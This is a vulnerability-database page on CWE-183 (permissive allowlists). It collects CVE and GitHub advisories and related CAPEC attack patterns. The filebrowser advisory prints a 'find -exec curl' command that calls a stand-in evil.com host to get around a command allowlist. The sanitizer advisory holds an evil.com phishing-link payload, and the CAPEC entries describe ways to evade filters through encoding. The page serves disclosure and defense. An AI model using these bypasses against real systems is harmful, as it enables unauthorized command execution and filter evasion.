Common Weakness Enumeration

CWE-183

Allowed

Permissive List of Allowed Inputs

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

79 vulnerabilities reference this CWE, most recent first.

CVE-2022-34450 (GCVE-0-2022-34450)

Vulnerability from cvelistv5 – Published: 2023-02-10 20:56 – Updated: 2025-03-24 18:09
VLAI
Summary
PowerPath Management Appliance with version 3.3 contains Privilege Escalation vulnerability. An authenticated admin user could potentially exploit this issue and gain unrestricted control/code execution on the system as root.
Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-183 - Permissive List of Allowed Inputs
Assigner
References
Impacted products
Date Public
2022-11-15 17:00
Show details on NVD website
To clipboard 

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CVE-2022-23158 (GCVE-0-2022-23158)

Vulnerability from cvelistv5 – Published: 2022-04-01 20:00 – Updated: 2024-09-16 19:30
VLAI
Summary
Wyse Device Agent version 14.6.1.4 and below contain a sensitive data exposure vulnerability. A local authenticated user with standard privilege could potentially exploit this vulnerability and provide incorrect port information and get connected to valid WMS server
Severity
6 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
CWE
Assigner
References
Impacted products
Vendor Product Version
Dell Dell Wyse Device Agent Affected: unspecified , < 14.6.2.13 (custom)
Create a notification for this product.
Date Public
2022-02-17 00:00
Show details on NVD website
To clipboard 

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CVE-2021-40128 (GCVE-0-2021-40128)

Vulnerability from cvelistv5 – Published: 2021-11-04 15:30 – Updated: 2024-11-07 21:45
VLAI
Title
Cisco Webex Meetings Email Content Injection Vulnerability
Summary
A vulnerability in the account activation feature of Cisco Webex Meetings could allow an unauthenticated, remote attacker to send an account activation email with an activation link that points to an arbitrary domain. This vulnerability is due to insufficient validation of user-supplied parameters. An attacker could exploit this vulnerability by sending a crafted HTTP request to the account activation page of Cisco Webex Meetings. A successful exploit could allow the attacker to send to any recipient an account activation email that contains a tampered activation link, which could direct the user to an attacker-controlled website.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
URL Tags
https://tools.cisco.com/security/center/content/C… vendor-advisoryx_refsource_CISCO
Impacted products
Date Public
2021-11-03 00:00
Show details on NVD website
To clipboard 

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CVE-2021-34787 (GCVE-0-2021-34787)

Vulnerability from cvelistv5 – Published: 2021-10-27 18:56 – Updated: 2024-11-07 21:45
VLAI
Title
Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Identity-Based Rule Bypass Vulnerability
Summary
A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
URL Tags
https://tools.cisco.com/security/center/content/C… vendor-advisoryx_refsource_CISCO
Impacted products
Date Public
2021-10-27 00:00
Show details on NVD website
To clipboard 

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CVE-2020-25696 (GCVE-0-2020-25696)

Vulnerability from cvelistv5 – Published: 2020-11-23 21:15 – Updated: 2024-08-04 15:40
VLAI
Summary
A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
n/a PostgreSQL Affected: All PostgreSQL versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24
Show details on NVD website
To clipboard 

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CVE-2020-1694 (GCVE-0-2020-1694)

Vulnerability from cvelistv5 – Published: 2020-09-16 18:03 – Updated: 2024-08-04 06:46
VLAI
Summary
A flaw was found in all versions of Keycloak before 10.0.0, where the NodeJS adapter did not support the verify-token-audience. This flaw results in some users having access to sensitive information outside of their permissions.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
n/a keycloak Affected: all versions before 10.0.0
Show details on NVD website
To clipboard 

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GHSA-3843-RR4G-M8JQ

Vulnerability from github – Published: 2026-03-27 17:56 – Updated: 2026-03-30 20:11
VLAI
Summary
Express XSS Sanitizer: allowedTags/allowedAttributes bypass leads to permissive sanitization (XSS risk)
Details

Description

A vulnerability has been identified in express-xss-sanitizer (<= 2.0.1) where restrictive sanitization configurations are silently ignored.

When a developer explicitly sets:

allowedTags: [] allowedAttributes: {}

the library incorrectly treats these values as "not provided" due to length/emptiness checks, and falls back to sanitize-html's default configuration.

As a result, instead of stripping all HTML tags and attributes, the sanitizer allows a permissive set of tags (e.g., <a>, <p>, <div>, etc.) and attributes (e.g., href on <a>).

This behavior violates the expected API contract and may lead to security issues such as content injection or XSS, depending on how the sanitized output is used.

Impact

Developers intending to fully strip HTML content by providing empty allowedTags or allowedAttributes configurations may unknowingly allow a wide range of HTML elements and attributes.

This can result in: - Injection of unintended HTML content (e.g., <div>, <table>, headings) - Injection of links via<a href="..."> - Potential XSS vectors depending on downstream usage

The impact depends on how the sanitized output is rendered or consumed, but the root issue is a mismatch between developer intent and actual behavior.

Proof of Concept

const { sanitize } = require('express-xss-sanitizer');
const sanitizeHtml = require('sanitize-html');

const input = '<a href="http://evil.com">click</a><p>phish</p>';

// Using express-xss-sanitizer (v2.0.1)
sanitize(input, { allowedTags: [], allowedAttributes: {} });
// => '<a href="http://evil.com">click</a><p>phish</p>'

// Expected behavior (sanitize-html directly)
sanitizeHtml(input, { allowedTags: [], allowedAttributes: {} });
// => 'clickphish'

Root Cause

The issue was caused by validation logic that checked for non-empty arrays/objects:

  • allowedTags required length > 0
  • allowedAttributes required Object.keys(...).length > 0

This caused empty configurations ([]) and ({}) to be ignored, resulting in fallback to default permissive settings.

Fix

The validation logic has been updated to respect explicitly provided empty configurations.

Now, if allowedTags or allowedAttributes are provided (even if empty), they are passed directly to sanitize-html without being overridden.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

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  "id": "GHSA-3843-rr4g-m8jq",
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      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer/security/advisories/GHSA-3843-rr4g-m8jq"
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}

GHSA-3Q2W-42MV-CPH4

Vulnerability from github – Published: 2025-06-27 15:19 – Updated: 2026-06-09 18:40
VLAI
Summary
filebrowser Allows Shell Commands to Spawn Other Commands
Details

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

image

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

  • 2025-03-26 Identified the vulnerability in version 2.32.0
  • 2025-06-25 Uploaded advisories to the project's GitHub repository
  • 2025-06-25 CVE ID assigned by GitHub
  • 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

Credits

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-749",
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T15:19:16Z",
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n![image](https://github.com/user-attachments/assets/02ef0833-79ee-40f7-87b8-bbb3fe102eab)\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n* `2025-06-25` Uploaded advisories to the project\u0027s GitHub repository\n* `2025-06-25` CVE ID assigned by GitHub\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n* [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))",
  "id": "GHSA-3q2w-42mv-cph4",
  "modified": "2026-06-09T18:40:07Z",
  "published": "2025-06-27T15:19:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleContainerTools/distroless"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands"
    },
    {
      "type": "WEB",
      "url": "https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filebrowser Allows Shell Commands to Spawn Other Commands"
}

GHSA-3QH8-QHWR-V2J5

Vulnerability from github – Published: 2026-07-14 03:31 – Updated: 2026-07-14 03:31
VLAI
Details

A vulnerability was found in nextlevelbuilder GoClaw 3.11.3. Affected by this issue is the function ExecApprovalManager.CheckCommand of the file internal/tools/exec_approval.go. The manipulation results in incomplete blacklist. The attack can be executed remotely. The exploit has been made public and could be used.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T02:16:54Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in nextlevelbuilder GoClaw 3.11.3. Affected by this issue is the function ExecApprovalManager.CheckCommand of the file internal/tools/exec_approval.go. The manipulation results in incomplete blacklist. The attack can be executed remotely. The exploit has been made public and could be used.",
  "id": "GHSA-3qh8-qhwr-v2j5",
  "modified": "2026-07-14T03:31:37Z",
  "published": "2026-07-14T03:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw/issues/1200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw/issues/1200#issuecomment-4760771866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nextlevelbuilder/goclaw"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15625"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855804"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855806"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855845"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855846"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855848"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378127"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378127/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-49CG-279W-M73X

Vulnerability from github – Published: 2026-04-17 21:55 – Updated: 2026-05-08 01:32
VLAI
Summary
OpenClaw: Empty approver lists could grant explicit approval authorization
Details

Summary

Empty approver lists could grant explicit approval authorization.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.12
  • Patched versions: >= 2026.4.12

Impact

For helper-backed channels, an empty resolved approver list could be interpreted as explicit approval authorization, allowing a sender outside the normal channel authorization gate to resolve pending approvals if they knew an approval id.

Technical Details

The fix prevents empty approver lists from granting explicit approval authorization and adds regression coverage for unauthorized senders.

Fix

The issue was fixed in #65714. The first stable tag containing the fix is v2026.4.12, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • 0a105c0900de701d2ee9f1abc96b017afbd0afdd
  • PR: #65714

Release Process Note

Users should upgrade to openclaw 2026.4.12 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @anshumanbh for reporting this issue.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:55:54Z",
    "nvd_published_at": "2026-05-05T12:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nEmpty approver lists could grant explicit approval authorization.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.12`\n- Patched versions: `\u003e= 2026.4.12`\n\n## Impact\n\nFor helper-backed channels, an empty resolved approver list could be interpreted as explicit approval authorization, allowing a sender outside the normal channel authorization gate to resolve pending approvals if they knew an approval id.\n\n## Technical Details\n\nThe fix prevents empty approver lists from granting explicit approval authorization and adds regression coverage for unauthorized senders.\n\n## Fix\n\nThe issue was fixed in #65714. The first stable tag containing the fix is `v2026.4.12`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `0a105c0900de701d2ee9f1abc96b017afbd0afdd`\n- PR: #65714\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.12 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @anshumanbh for reporting this issue.",
  "id": "GHSA-49cg-279w-m73x",
  "modified": "2026-05-08T01:32:40Z",
  "published": "2026-04-17T21:55:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-49cg-279w-m73x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/65714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/0a105c0900de701d2ee9f1abc96b017afbd0afdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-improper-authorization-via-empty-approver-lists"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Empty approver lists could grant explicit approval authorization"
}

No mitigation information available for this CWE.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

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